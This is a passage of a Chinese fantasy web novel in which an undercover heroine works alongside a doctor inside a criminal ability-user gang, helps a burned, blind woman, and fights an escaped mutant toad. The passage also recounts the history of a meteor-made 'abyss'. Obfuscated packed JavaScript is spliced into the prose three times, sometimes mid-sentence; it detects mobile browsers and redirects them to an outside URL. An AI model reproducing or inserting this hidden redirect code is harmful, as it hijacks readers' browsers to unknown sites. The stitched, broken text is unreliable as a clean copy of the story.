从蛇四等人踏进国际监狱的那一刻,其实就已经陷入了司无枫早已编织好的梦境中,当天晚上发生的一切不过都是假象,真实情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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前方不远处,一个坐在轮椅上的中年女人被一个小混混推倒在地,小混混把女人脖子上的项链扯断后拔腿就要跑路,小腿处却骤然传来一阵剧痛,他猝不及防踉跄着摔了个跟头,吐掉嘴里面的沙子正要爬起来,被洛雪眠一脚踩在背上又给压了回去。 “光天化日强抢东西,还有没有王法了。”洛雪眠抱着胳膊,注视着地上明显未成年的小混混,悠哉说教:“小鬼,你要是答应把人给扶起来并且道歉认错,我就大发慈悲放了你。” 小混混皮肤黝黑,长期的营养不良让他瘦得跟个竹竿似的,趴在地上拼命挣扎着怒吼,“你谁呀?从哪儿冒出来的,少他妈多管闲事,你知道我们头儿是谁吗你!” 洛雪眠嘴角含笑,见这小孩执迷不悟,也不再留情,脚下稍微加了点力道。 小混混顿时动弹不得,疼得冷汗涔涔,意识到这是个难对付的,连连识相地求饶,“姑奶奶我错了,我以后再也不敢了。” 洛雪眠挑眉,“东西呢?” 小混混颤抖着手将项链递给了洛雪眠,并且按照洛雪眠的要求把人给扶了起来,低头道歉认错,见洛雪眠真的不再为难他,心中一喜,赶紧脚底抹油一溜烟跑没了影。 洛雪眠没再管他,回头看向轮椅上的女人,这才发现女人看不见,眼睛上缠着绷带,脸上还有脖颈手臂裸露的肌肤上都遍布烧伤的疤痕,看着触目惊心,但她的气质温婉柔和,手里紧紧握着项链,像是寻回了失而复得的珍宝,连声感谢。 “小姑娘,谢谢你。” “您客气了,举手之劳。”洛雪眠看着行动不便的女人,眉头微蹙,关心地问:“您还好吧,伤着哪没?家住哪里?需要我送您回去吗?” 话音刚落,前方传来了侯六惊喜激动的声音。 “母亲!” 洛雪眠:“……?!” 13. 宠溺 洛雪眠诧异抬头,侯六快步跑了过来。 “母亲,您没事吧?”侯六紧张焦急地察看着女人的伤势。 侯母听到侯六的声音,微笑着摇了摇头,“阿明,我没事,让你担心了。” 侯六的唇瓣抿得死紧,怔怔地盯着女人把擦伤的左手背往身后藏的动作,双拳握紧,身体抑制不住地颤抖,心里全是自责与后怕。 侯母却浑然不知,她伸手摸索着,从口袋里掏出了一小袋扎捆好的向日葵种子,嘴角漾起开心的笑,小心翼翼地捧到侯六面前。 “阿明,你看,我买了葵花种子,春天快到了,我们把种子种在家门口吧,等到夏天花开的时候,一定会很漂亮。” 洛雪眠沉默站在一旁,心里叹了口气,这地下城贫民区的土壤十分贫瘠,并不适合种植,这花怕是开不成了。 “您怎么总是不听劝,就这样一个人从医院里跑出来,知不知道我会有多担心,您要是有个三长两短我该怎么办?” 侯六看着侯母手中的向日葵种子,差点情绪失控,胸腔上下起伏,责怪气恼的话不受控地吼了出来。 侯母怔了怔,“阿明,我……” 她心里愧疚不已,正慌乱得不知道该怎么解释,侯六却突然扑到了她的怀里,像只犯了错的小幼崽,哽咽道:“对不起,母亲,我、我不该吼您的。” “傻孩子,我怎么会怪你呢,都是母亲不好。”侯母温柔地抚摸着侯六的发顶,语气里满是对孩子的宽容和爱护。 洛雪眠看着眼前温馨的一幕,忽然心口一阵刺痛,有什么零星的片段从脑海中一闪而过,转瞬即逝。 母亲这个词,对于从小孤零零长大的她来说,实在太过陌生了。 愣神间,她完全没有察觉到从身后缓步走到她旁边的时希。 时希留意到了女孩失落的神情,伸手轻轻拍了拍她的肩头。 洛雪眠回过神来,刚要抬头看向来人,一颗大白兔奶糖便递到了她的眼前。 她愣了下,随后扑哧一笑,从男人长有薄茧的掌心里拿起糖果,仰起头,好奇地问:“哎,时医生,你该不会是儿科大夫吧?怎么口袋里藏了这么多的糖果,留着哄小孩的?” 时希闻言笑了,眉眼俊逸非凡,认同地点了点头,柔声说:“是呀,专门留着给不开心的小朋友吃的。” 洛雪眠哼笑,心说我就知道是这样。她完全没有自己已经是个大人的自觉,剥开糖纸就把奶糖塞进了嘴里嚼,醇香的奶味在味蕾间化开,吃得心满意足。 刚才的失落感也被她抛到了脑后。 时希见洛雪眠吃得开心,嘴角也跟着翘起,眼角余光瞥见了女孩手里拎着的沉甸甸的菜篮,并没有问她为什么会出现在这里,而是问道:“重吗?需不需要帮忙?” “嗯?”洛雪眠慢了一拍,还没有反应过来,时希便已顺手把菜篮接了过去。 洛雪眠顿时觉得不好意思,这都吃人家的糖果了,如果还让人家做苦力的话,也太说不过去了,正要开口说不用麻烦了,侯六走了过来。 “时医生,一会儿到家后,能麻烦你帮我母亲检查一下身体吗?我不太放心。” 时希颔首,“应该的,我们走吧。” 说着,也不给洛雪眠拒绝的机会,轻松提着菜篮便朝前方走去。 洛雪眠无奈,只能跟了上去。 侯六的家在贫民区的最南边,那里荒无人烟,居民很少,只有一些老弱病残留守在家。 进了门,侯六忙着安顿母亲,时希在一旁低头认真地检查侯母的身体状况,两人都没有空管她,洛雪眠便自顾自地在屋子里逛了起来。 屋子很小也很简陋,但收拾得十分干净整洁,桌面一尘不染,应该是经常有人打扫。 洛雪眠搬了个缺了条腿的木椅子放在窗边坐下,托腮望着窗外的风景,发起了呆。 过了大概半个小时,时希从里屋走出来,对洛雪眠说:“走吧,我们先回去。” “不等侯六了吗?”她看向屋里问。 时希摇了摇头,“她母亲的病情刚稳定,身边需要有个人照顾。” “哦。”洛雪眠点了点头,跟着时希往回去的方向走。 路上,洛雪眠忍不住问,“她母亲得的是什么病?” 时希没有隐瞒她,“侯六的母亲不是异能者,只是一个普通人,一年前,他们家里意外失火,侯六的母亲患有腿疾,没能逃出来,被严重烧伤,好在抢救及时,性命无虞,但也落下了些病根。至于其他的,涉及侯六的个人隐私,你当面问他比较好。” 话已至此,洛雪眠也不再多问。 但时希不说,她也隐约猜到了些什么。就单从侯六那个混账爹对他的态度来看,无非就是豪门浪子在外边拈花惹草,不负责任抛妻弃子,孤儿寡母独自在外艰苦求生的心酸剧本。 临近中午,时希带着洛雪眠来到了一家包子铺,洛雪眠疑惑,以为时希是没吃早饭饿了,却见他跟老板打了声招呼,便径直往里面走去,老板留在门口给他望风。 洛雪眠立即意识到,这并不是一家普通的包子铺,而是回去的另一道“门”。 时希发觉洛雪眠没有跟上来,回头,温声问她:“怎么了?不舒服?” “没。”洛雪眠摇头,快步进了包子铺,跟上了时希的脚步。 包子铺里边有一扇挂了帘布的木门,时希推开门后率先走了进去,洛雪眠紧随其后。 伴随着一阵能量的轻微波动,两人进入了一个庭院中,洛雪眠环顾四周,惊奇地发现她竟然又回到了今早离开的那个庭院。 时希上前打开了小洋楼的门,呈现在眼前的赫然就是那座被施加了空间异能的电梯。 看来,这栋带庭院的小洋楼便是出发的原点,而进入和离开这里的“门”却有许多扇,连接着外面不同的地点。 进了电梯,洛雪眠状似不经意地问:“时医生,你来这多久了?看起来似乎对这里很熟悉。” 时希嘴角含笑,回答:“我刚来半年,因为经常会出门,所以对附近会比较熟悉。” 洛雪眠眸光微动,她对半年这个时间点比较敏感。 因为她上次重伤濒死,被救回来后进入国际监狱服刑,也是半年前。 还真是凑巧。 时希帮着洛雪眠把菜篮提回了小厨房,刚进门,他就愣了一下,只见小厨房里一片狼藉 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洛雪眠站在一边,不知道该干什么,无聊间忽然瞥到了时希的左手腕上缠了根红绳,绳子上挂着一个小狐狸吊坠,样子呆萌可爱,憨态可掬。 她觉得新奇,没想到做事一丝不苟的时医生会喜欢戴这样的饰品,不由得多看了两眼。 时希打扫完,抬头便瞅见洛雪眠定定地看着自己,顺着视线往下,莞尔一笑,问她:“喜欢这个?” 洛雪眠不自然地挠了挠脸,移开了视线,开始下逐客令,“时医生,剩下的我来收拾就好了,你先去忙你的事吧,别耽误了你做实验。” 时希把打扫的工具放回角落,不以为意,反而提醒她说,“你手上的伤还没有好,不能沾水,你一会儿要怎么做饭?” “啊?” 洛雪眠有时候是个粗神经,倒是把自己手上有伤这茬事给忘了,瞥了眼菜篮里的菜,心里盘算着要不今天直接来一锅大乱炖吧,省时又省力。 刚打定主意,时希便走到了她的面前,问她:“你今天想吃什么菜?” 洛雪眠呆呆望着突然出现在眼前,俊美如妖孽的时希,呼吸一窒,忘记了思考,脑袋里只剩下了“秀色可餐”这几个字,脱口而出一句—— “吃你。” “……嗯?” 时希以为自己听错了。 后知后觉意识到自己说了什么的洛雪眠,腾地一下脸烧得通红,恨不得找条地缝钻进去,连忙给自己找补。 “我、我是说,呃,就吃你擅长做的菜。” 时希忍不住轻笑出声,带着一丝宠溺,在洛雪眠低头尴尬得脚趾抓地不敢直视他时,眸光仿若蕴含了万千温柔,缱绻深情。 为了不让洛雪眠继续尴尬下去,他假装没有听到刚才的话,转身离开走到了灶台前。 洛雪眠见时希没有再追问,松了口气,连忙跑上前去帮忙。 她在一旁掰着白菜,心思却完全不在这上面,视线总是会不自觉地往时希那边瞥,忽然又想起刚才自己犯蠢说的话,脸颊还是会控制不住地发热。 啊啊啊啊啊—— 快来个谁行行好把她叉走吧,真的是太丢人了!!! 14. 阿狸 小厨房里,洛雪眠在帮时希揉面团,原本做饭的人应该是她,可是此刻掌勺的人却变成了时希。 她抓了把面粉往盆里撒,因为左手有伤,所以只能单手揉,边揉边看时希做菜,想借机偷师学一下。 时希做饭的时候眉眼沉静,动作熟练有条不紊,不急也不躁,跟毛手毛脚,动不动就不小心摔坏东西的洛雪眠完全不一样。 洛雪眠忍不住感慨,这人还真是既做得了科研,又下得了厨房。 正短暂地晃了一下神,忽见时希抬头冲她笑了下,然后指了指自己的脸颊,温声提醒她:“脸上蹭到面粉了。” “啊?”洛雪眠反应过来,连忙抬手擦了擦脸,但却忘了自己手上全是面粉,越擦反而蹭到的越多。不一会儿,就成了只小花猫。 时希忍俊不禁,他摇了摇头,放下手中的锅铲,来到洛雪眠面前,微微俯身,伸出指尖轻轻地一点点擦掉她脸上蹭到的面粉。 望着近在咫尺的人,洛雪眠的脑子瞬间空白,僵立在原地。 时希温热的呼吸轻轻拂过她的脸颊,他的眼神专注,心无旁骛,洛雪眠只觉得被他触碰过的肌肤变得滚烫,呼吸也变得急促起来。 短短的十几秒钟仿佛格外漫长,洛雪眠心里万分煎熬,就在她快扛不住这美色/诱惑的时候,时希直起了身,他注视着洛雪眠,笑得无奈,眼神里却满是纵容。 “阿狸,你总是这么让人不放心。” “……” 洛雪眠呼吸微顿,“阿狸”这个称呼让她产生了一种似曾相识的熟悉感,仿佛很久以前,也有人这么温柔地唤过她,心里突然变得酸酸胀胀的,有种说不清也道不明的感觉。 两人之间的氛围变得有点微妙。 洛雪眠不解地问:“为什么要叫我阿狸?” 时希怔了下,眼里闪过一丝复杂的情绪,半晌,他才出声解释:“听哈里他们喊你小狐狸,所以自作主张这么叫你了,你……不喜欢阿狸这个称呼吗?” 原来如此。 洛雪眠摇头,“没,称呼而已,你想怎么叫都行,我无所谓。” 之后两人都没有再说话,时希一直在埋头做菜,有点心不在焉,洛雪眠在一旁打下手,也是心事重重。 她在想截止目前为止,自己获取的情报还是太少了,进度条拉得太长对她并没有好处,只会增加暴露的风险,所以接下来她不能再原地踏步,得主动出击才行。 洛雪眠在心里想计划的时候,时希已经把饭菜都做好了。色香味俱全的饭菜刚端上桌,她的目光就被牢牢吸引住了,意外的是,桌上大多都是她平时爱吃的菜。 洛雪眠讶异挑眉,看向时希,问道:“时医生,你也喜欢吃辣?” 时希夹菜的动作顿了一下,随后微笑着点了点头,把夹了满满一碗的菜推到她面前,说:“你尝尝看味道怎么样,我给其他人打包饭菜,一会儿你再送过去。” 洛雪眠盯着眼前鲜香麻辣的饭菜,愣了下。在这之前,她潜意识里以为,像时希这样的人应该会吃得比较清淡些,没想到时希跟她一样都是重口味,无辣不欢。 时希见她迟迟不动筷,有些忐忑地问:“是我做的菜不合你的胃口吗?” 洛雪眠回过神来,连忙摇头,“不是不是,你做的饭菜特别香,我早就馋得流口水了。” 说着,夹了一大口菜就往嘴里塞,边嚼边含糊不清地夸赞,“时医生,你做的饭菜真的太好吃了,以后谁要是嫁给了你,那真是八辈子修来的福气。” 时希笑了笑,没有接话,眉眼间带着一点失落,沉默地帮洛雪眠打包饭菜。 洛雪眠提着饭菜出门,正要去给其他人送饭,迎面就撞上了哈里跟蛇四。 哈里见到她,眼睛亮了亮,“小狐狸,你要去哪?” 两人像是刚从外面回来,风尘仆仆的样子,洛雪眠从他们身上嗅到了一股不同寻常非常浓烈的铁锈味。 不,确切的说,应该是血腥味,但又和正常的血腥味不同,夹杂着一股奇特的甜腻的香气。 他们去了哪里?这气味好熟悉。 洛雪眠心中存疑,猛然想起,她来这里的第一天,曾经在时希的实验室门口也闻到过这种怪异的血腥味。 洛雪眠抿唇,将心里的惊骇压下,提了提手中的菜篮,示意自己准备去送饭。 哈里见了,兴奋地跑过来,扒拉着饭盒,见没有自己心心念念的小鸡炖蘑菇汤,失望地看向洛雪眠,控诉道:“小狐狸,今天怎么没有我最爱的小鸡蘑菇汤?” 洛雪眠嘴角抽了下。 不是,大哥,你这是受虐上瘾了吗?上赶着要给自己灌毒药。 洛雪眠对哈里这种奇葩古怪的行为表示不理解,正要说话,忽然感觉到有一道阴冷的视线投来,她抬头,蛇四正直勾勾地盯着她,眼神意味不明。 想起今早图谋不轨的福七,洛雪眠眸光变冷,嘴角一勾,语气嘲讽地说:“怎么,蛇四,见到我你很惊讶?” 蛇四怎么也没有想到,福七一个B级,对付洛雪眠这样的黄毛丫头竟然也会失手。 面对洛雪眠的挑衅,蛇四冷哼一声,两人之间的气氛变得剑拔弩张起来。 哈里莫名其妙,视线在两人之间来回转悠。 这时,时希从小厨房里出来,他的手上还挂着未擦净的水珠,一边慢条斯理地整理挽起的衣袖,一边将洛雪眠不动声色护在了身后。 哈里见到时希,欣喜不已,“小白脸,原来你在这呀!我正到处找你呢,快跟我走,秘密基地那边出事了。” ……秘密基地。 难道是哈里和蛇四身上怪异气味的来源? 哈里拉着时希就要匆忙离开,忽然顿住了脚步,想起了什么,回头看了眼仍站在原地的洛雪眠,“噢,我忘了,小狐狸你也是异能者,应该也能帮上忙,你也一起过去吧。” 一听这话,蛇四立马上前反对,“老大,不能把她带到秘密基地去,这女人的嫌疑还没有洗清,万一真是警方派过来的卧底,咱们麻烦就大了!” 哈里皱眉,小脸瞬间拉了下来,看向蛇四的眼神也变得阴沉,不爽地问:“蛇四,你在教我做事?” “我……”蛇四张了张嘴,没敢吭声。 “我看你也不用跟着我们一起去了,反正你也帮不上什么忙,只会拖后腿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253971|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 哈里不高兴地把洛雪眠手里的菜篮塞到了蛇四手里,命令他去替洛雪眠送饭,然后头也不回地带着两人离开了地下室。 被撇下的蛇四站在原地,拳头捏得咯吱响,愤怒地把手中的饭菜摔到了地上,发誓一定不会让洛雪眠好过。 ** 洛雪眠一言不发地跟在哈里身后,时希放慢脚步,走在她的身边。 洛雪眠看着身旁人棱角分明的俊朗侧颜,心情复杂。 从哈里对时希的态度可以看出,他对时希很是信任,并且委以重任。但这并不是什么好事,时希和这个组织牵扯得越深,往后定罪的时候刑罚只会越重。 而且她不明白,时希一看就是个不染纤尘,心怀悲悯的人,为什么要为暗网做事? 时希察觉到了洛雪眠的不对劲,以为她是在为即将面对的未知而担忧,轻声宽慰她,“别害怕,不管发生什么,我都会保护你的。” 洛雪眠微愣,心里觉得好笑,但又感到一阵温暖。她私心不忍看到时希就这样泥足深陷,打算找个机会,看能不能策反时希,让他为警方效力,这样也许罪名能定得轻些。 前方的哈里回过头来,不满地瞪着两人,气呼呼地问:“你们两个在说什么悄悄话?怎么不叫上我?” 时希抬头看向哈里,眉头轻蹙,问道:“哈里,基地那边到底出了什么事?” “哦,也没什么,就是有几只恶心的东西不注意跑出来了。”哈里不以为意地说。 时希的脸色却瞬间变得凝重。 洛雪眠意识到事情肯定不简单,这还是她第一次见到时希如此失态的样子。 “你怎么了?脸色这么差,到底是什么东西跑出来了?”她关切地问。 时希看了她一眼,迟疑了下,最后还是决定坦白:“阿狸,跑出去的……是深渊异兽。” 闻言,洛雪眠心跳骤停,脸上的血色瞬间褪去,猛地停下了脚步,表情难以置信,差点失声。 “你说什么?!” 洛雪眠的手指不受控地颤抖,深埋在记忆最深处,宛如世界末日般的景象再次浮现于她的眼前。 猩红的天幕之下,辽阔的沙漠戈壁之上,长相丑陋怪异的巨兽倾巢而出,铺天盖地的朝城市袭来,它们拖动着庞大的身躯在城市中横冲直撞,人们惊恐凄厉的尖叫声伴随着巨兽的嘶吼声传遍城市的每个角落…… 惊慌逃散的人群中,有的人躲闪不及,被咆哮的巨兽撕咬啃食,沦为食物。有的侥幸逃脱,但身上的伤口却被感染,随后缓慢发生变化。 最开始出现变化的是头部,有的长出了触角,有的长出了复眼,有的则长出了鳞片……然后是四肢,紧接着是整个躯干,慢慢地,慢慢地,痛苦嘶喊的人声消失了,再爬起来的时候,这些人已经完全没有了人类的特征,彻底被感染同化成了和伤害他们一样的怪物。新的怪物们桀桀笑着,面目扭曲地挥舞着利爪,急速朝守卫城市的军队袭来…… 满目苍夷,断臂残肢,鲜血遍地……最后的最后,洛雪眠的记忆里只剩下了一声无奈的绝望的叹息,发出声音的那个人在哀求她: “小六,杀了我吧。” 15. 幸存者 人类的异化起源于深渊。 三百多年前,一颗巨大的未曾被观测到的天外流星划破了大气层,骤然降落在了北方的原始森林当中。 在所有人始料未及之时,剧烈的爆炸声响彻天际,地动山摇间,地面被撕裂开了一个巨大的裂缝,猛烈的山火焚烧一切,生命在这场巨大的灾难面前变得脆弱不堪。 当所有人都以为,这片地域辽阔的森林即将在这场大火中彻底消失的时候,异变突生。 据幸存者描述,那天夜晚,漫天的蓝色荧光笼罩了整片森林,如梦幻泡影般,美得不可思议,震撼人心。 在这如神迹般的景象下,能吞噬一切的山火诡异地熄灭了,而森林里的所有动植物竟然也都奇迹般地生还了下来,就像这场灾难从未发生过一样。 这一现象在当时震惊了全世界,有人猜测森林里可能出现了外星文明。于是,无数的科研工作者和探险家怀揣着强烈的好奇心,纷纷踏足了这片一望无际的原始森林中,希望能窥探到这一诡异事件背后的真相。 可令人生畏的是,凡是进入了这片森林的人,全部都如同人间蒸发般的神秘失踪了,从此杳无音信。 直到某一天,距离这片森林最近的小镇上,出现了历史上记载的第一只变异怪物。 那是一只可怖的灰绿色巨型蜥蜴,它的身躯庞大无比,脑袋上生长出了六对猩红的复眼,十二只眼睛齐刷刷转动的时候,极为瘆人。这只巨蜥在小镇上横冲直撞,大肆破坏伤人,持枪的民警对其进行射杀,但它的身上遍布坚硬的鳞甲,普通的手枪根本不能伤其分毫。 为了将其消灭,附近的军队动用了一切军火武器,在牺牲了大量人力物力后,却还是没能成功杀死怪物,最后只能眼睁睁看着重伤的怪物逃进了茂密的森林中。 怪物的突然出现闹得人心惶惶,但谁都没有想到,这只是真正的厄难降临的前兆。 当时大量受伤的镇民被送往镇上的医院接受治疗,然而,仅仅一夜之间,这些镇民竟然集体发生了感染变异。 由镇民异化而成的新的怪物们完全丧失了人的意识,朝医院里的医护人员袭去……痛苦凄厉的惨叫和爬行动物拖曳爬行、撕咬吞咽的古怪声音在医院的上空彻夜萦绕。 冷月高悬,直到偌大的医院里再无一个活人,这些怪物们才成群结队地冲出医院,在小镇上寻找新的目标…… 清晨,当外地人再次踏入这片地界,全都被眼前恐怖惨烈如地狱的场景吓破了胆。 很快,这一起骇人听闻的可怕事件被争相报道,哪怕火速赶来的军警极力封锁消息,也还是闹得人尽皆知。 而那些怪物则在大众视野中消失得无影无踪,若非这个镇子上唯一幸存下来的小男孩竭力向所有人证明自己看到了怪物,人们还会以为这是一场灭绝人性的恐怖袭击。 但这还不是最让人们震惊的,更令人匪夷所思的是,这个唯一幸存的小男孩,很快出现了异样。 当照顾小男孩的护士推开病房门,简直要被眼前的景象吓傻。 只见小男孩并没有如往常一样乖巧地躺在病床上,而是像壁虎一样四肢牢牢地吸附在天花板上,并且爬行速度惊人。 科学家们对小男孩进行了全面且系统的检查后得出结论,这个小男孩在被怪物抓伤后不仅没有像其他镇民那样被怪物感染同化,还意外获得了一种特殊的能力,人们将其称为——异能。 在接下来的一段时间里,围绕森林边缘的城镇陆陆续续都遭受到了不同的怪物袭击。这些怪物在城镇中肆虐,人们对其却是束手无策。 凡是怪物经过之处,皆是满目疮痍。但也有极少部分人和小男孩一样幸运,他们在受伤后并没有被怪物同化而是产生了属性不同的异能。 为了加以区分,科研人员将这些不会被怪物感染同化的幸运儿称为“异能者”;而那些不幸感染后从人类转变为怪物的遇难者则称为“异种”。 而后,人们不再坐以待毙,对那片曾降落过诡异陨石的浩瀚森林展开了轰轰烈烈的研究。 大批装备精良的军队前仆后继地闯入森林,却赫然发现,森林早已发生了翻天覆地的变化。 森林的最外围,地势低矮处,足有成年人大腿粗的藤曼如有生命意识般横空出现,将前路封死,紧接着,甲壳坚硬无比的变形节肢昆虫挥舞着锋利的前肢朝闯入者袭来……这片森林里的所有物种似乎都经受过某种神秘力量的洗礼,不仅体型变得格外庞大,而且力量强悍得惊人。人类的力量在这些异形生物面前太过渺小,很快便全军覆没。 也有人曾提议借助科技的力量探索这片地域,但更诡异的是,所有无线电通讯设备在这里都失去了作用,就像是有一个巨大的无形磁场笼罩在这片区域之上,干扰着所有设备发出的信号。 此后的数百年时间,人类对于这片森林的探索从未停止。 经过多年研究,人们发现,森林的核心地带就是当年陨石坠落的地点,那里已经成为了一条绵延数千公里的深沟,深不见底,就像一头张开血盆大口的深渊巨兽,隐没在无边无际的黑暗中,“深渊”之名也由此而来。 迄今为止,还从未有人类踏足过深渊核心地带,因为越靠近那里,变异生物的实力就越强悍恐怖,它们像深渊的守护者一样,拦截着所有窥探者的脚步。 为了保证民众的安全,深渊及其边缘地带早已被列为了禁区。在经过几百年时间的自然演变后,深渊附近的土地全部沙漠化,荒无人烟,但唯独深渊一如往昔,植被茂密繁盛,异形生物生存于此,再未离开过这片区域。 直到三年前,距离深渊边缘数百公里之外的云边城,遭遇了一场突如其来的“深渊异兽潮暴动”,城中数万人包括驻扎于此的军队皆不幸遇难。 此消息一处,顿时震惊轰动世界,但至今仍未查明为什么安稳了几百年的深渊怪物们会集体出动袭击人类城市。 而洛雪眠,则是当年那场不明原因的兽潮袭击事件中—— 唯一的幸存者。 ** 不夜城的东区是一片广袤无垠的荒林,那里有一个废弃多年的军工厂。 军工厂内,一只足有两米高的变异剧毒三眼蟾蜍吐出长舌朝熊三袭来。 熊三的异能属性是灰熊,身躯魁梧但行动十分敏捷,他侧身险险躲开沾满毒液的舌头攻击,身后的大石块被舌头砸中后应声而裂,碎石朝四周散落。三眼蟾蜍一跃而起,在空旷的荒地里跳跃追逐着四处躲避的熊三。 熊三一边跑一边破口大骂:“老龟,你到底还要磨蹭多久,他娘的慢死了,再不搞好老子就要废了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253972|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 躲在隐蔽处的老龟满头大汗,他的双手上下合拢翻转,正在缓缓凝聚着一团白色光团,闻言探出个脑袋,往被追得东躲西藏狼狈不堪的熊三处瞟了一眼,不满地嘀咕:“我老妈子早就进棺材了,催我有什么用,这玩意可是深渊怪物,让B级来对付都够呛,何况咱们两个C。” 话虽是这么说,但也不敢怠慢,过了大约一盏茶的时间,拼了老命的老龟终于把手里的能量团凝聚成型,他朝熊三大喊:“熊三,成了,快闪开!” 熊三闻言立即朝一边翻滚躲闪,老龟瞅准时机,将手中的光团掷了出去,光团触碰到三眼蟾蜍后立即形成了一个透明的隔离罩,将三眼蟾蜍牢牢困在了里面。 见三眼蟾蜍终于被制服,两人都松了一口气。 熊三抹了把脸上的汗,喘着粗气问:“老龟,你这隔离罩能撑多久,别跟个纸糊似的一捅就破了,不然咱两今天都得玩完。” “你放心,”老龟自信满满地拍了拍胸脯,嘴边的两条山羊胡翘起,“这可是我的看家本领,你就算在里面放炸弹都破不了。” “那就行。”熊三放心下来。 但随即又想起仍有两只怪物在外面逃窜,不免担忧。 “外边还有两只没找到呢,普通人一碰到这玩意就容易感染,万一逃到了人多的地方,发生大面积感染,把事给闹大了,警察那边肯定要查,到时候上边怪罪下来,咱们可担待不起。” “谁知道哈里这小子怎么想的,非要跟着深渊研究所那帮冥顽不灵的家伙研究这些瘆人的东西,还让我天天守在这鸟不拉屎的破林子里,十天半个月都不能出去一趟,我在红灯区那老相好,妈的,太久没见,现在都不咋搭理我了。” 老龟从汗湿的前胸口袋里掏出了根烟点上,边抽烟边抱怨。 “行了,你少说两句,要是让头儿听见了有你好果子吃。” 熊三打断他的话,目光转向大门口处,“也不知道头儿回去找到小白脸没,现在也只有他能追踪到那两只逃跑的怪物行踪。” “呵。”老龟冷哼一声,“听见就听见,难道我还会怕哈里那个乳臭未干的小子?仗着自己是个A级,成天在大家伙面前装样子发号施令,也就你们几个靠着哈里才混到今天这个等级的会对他唯命是从,老子可不怕他。” 熊三听出了老龟话里的鄙夷嘲讽。 当初熊三和蛇四的异能等级其实只有D级,在暗网这样的组织里实力排在最末尾,受了不少白眼,也糟了不少欺负,是哈里寻了法子让他们越级进阶到了C级,当听说哈里要单独搞个小团体的时候,两人便追随了过来。 熊三正要出声反驳,身后忽然传来一阵异响,他顿觉不妙,立即转身回头看。 只见原本被困在隔离罩里的三眼蟾蜍眼睛突然变得血红,发出了刺耳的蛙鸣,身躯瞬间膨胀了近乎两倍,下一秒,老龟口中坚不可摧的隔离罩炸裂开,三眼蟾蜍后腿一蹬,径直朝两人所在的地方扑来—— 眼看着两人避无可避就要被压扁,千钧一发之际,一个白色的虚影凌空出现,一脚就将那庞大的三眼蟾蜍踹飞了出去,狠狠砸进了不远处的矮墙上,整面墙轰然倒塌,把三眼蟾蜍掩埋在了废墟之下。 洛雪眠稳稳站立于高处,冰冷地俯视着砖石碎块下奋力挣扎的三眼蟾蜍。 16. 难言之隐 熊三见到突然出现的洛雪眠,神情一震,随即又看到从门口背着手慢悠悠走过来的哈里,连忙恭敬弯腰。 “老大。” 哈里懒得搭理狼狈的熊三,他抬起头,目光落在高处的洛雪眠身上,好整以暇地观看起现场的战况,眼里隐含激动和兴奋。 至今为止,洛雪眠都没有在外人面前展露过自己真正的实力,他们连她的异能属性是什么,甚至异能等级多少都不清楚,今天倒是个难得的机会能一探究竟。 三眼蟾蜍被激怒,从废墟里挣脱而出,腥臭的舌头无限拉长,往洛雪眠静立的地方袭去。 洛雪眠身形快如闪电,弹跳力惊人,在几个空地上跳跃躲闪,五指化为利爪,虚空一划,三眼蟾蜍的长舌便断成几截砸在了地面上。 三眼蟾蜍吃痛,悲鸣一声,一跃而起,身躯膨胀数倍,像座移动的小山,洛雪眠在那庞大的阴影将要砸下时,神色自若,脚尖轻点,升至半空,接着横空一踢,将三眼蟾蜍像踢皮球一样来回虐打。 几人的视线跟随着被踢来踢去,毫无反抗能力的三眼蟾蜍身上来回移动。须臾,洛雪眠干脆利落的最后一击,将半死不活的三眼蟾蜍踹回地面,在地面上砸出一个巨大的深坑,尘土飞扬间,三眼蟾蜍那膨胀的身躯像泄了气的皮球般缩回了原样,趴在坑里一动不动。 熊三和老龟心中惊骇不已,等再望向半空时,却早已没了洛雪眠的身影。 洛雪眠钻进了一辆停在军工厂门口的越野车里,时希递给了她一瓶水,随后熟练地打方向盘,将越野车调转方向,往丛林里开去。 洛雪眠闷头灌了口水,车外的景物飞掠而过,她的目光紧紧盯着车内的电子定位显示屏,上面有两个红点正在快速移动,位置不断变换。 这是之前时希专门为了追踪逃逸的深渊怪物而设计的追踪仪,原理和使用方法都十分复杂,除了时希本人,别人都不会用。 过了一会儿,两个红点定格在了屏幕右上角后便不再挪动。 “那里是什么地方?”洛雪眠快速问道。 时希开着车,闻言看向屏幕,脸色陡然变得凝重。他收回目光,立即将油门一踩到底,车子像离弦的箭一样飞驰,边敏捷避开路上的障碍物,边沉声道:“阿狸,那附近有一所乡村希望小学,我们得尽快赶过去才行。” 洛雪眠的脸色蓦地沉了下来,心里十分清楚如果没能及时赶过去,后果将不堪设想。 “你们跟深渊研究所到底什么关系,为什么要帮着他们做这么危险的实验?”洛雪眠语气不爽地诘问。 深渊研究所在被下令摧毁前,研究所总部就设立在距离深渊边缘最近的云边城中。 十八年前,国际军事联盟和国际医学联盟联合创立了深渊研究所,本意是探索和研究因深渊而引起的人类异化方向和进程。 然而,三年前,深渊研究所被曝出违规进行人体改造实验,将濒死的人类异能者改造成拥有不死不灭特质的危险实验体,并利用实验体牟取暴利。 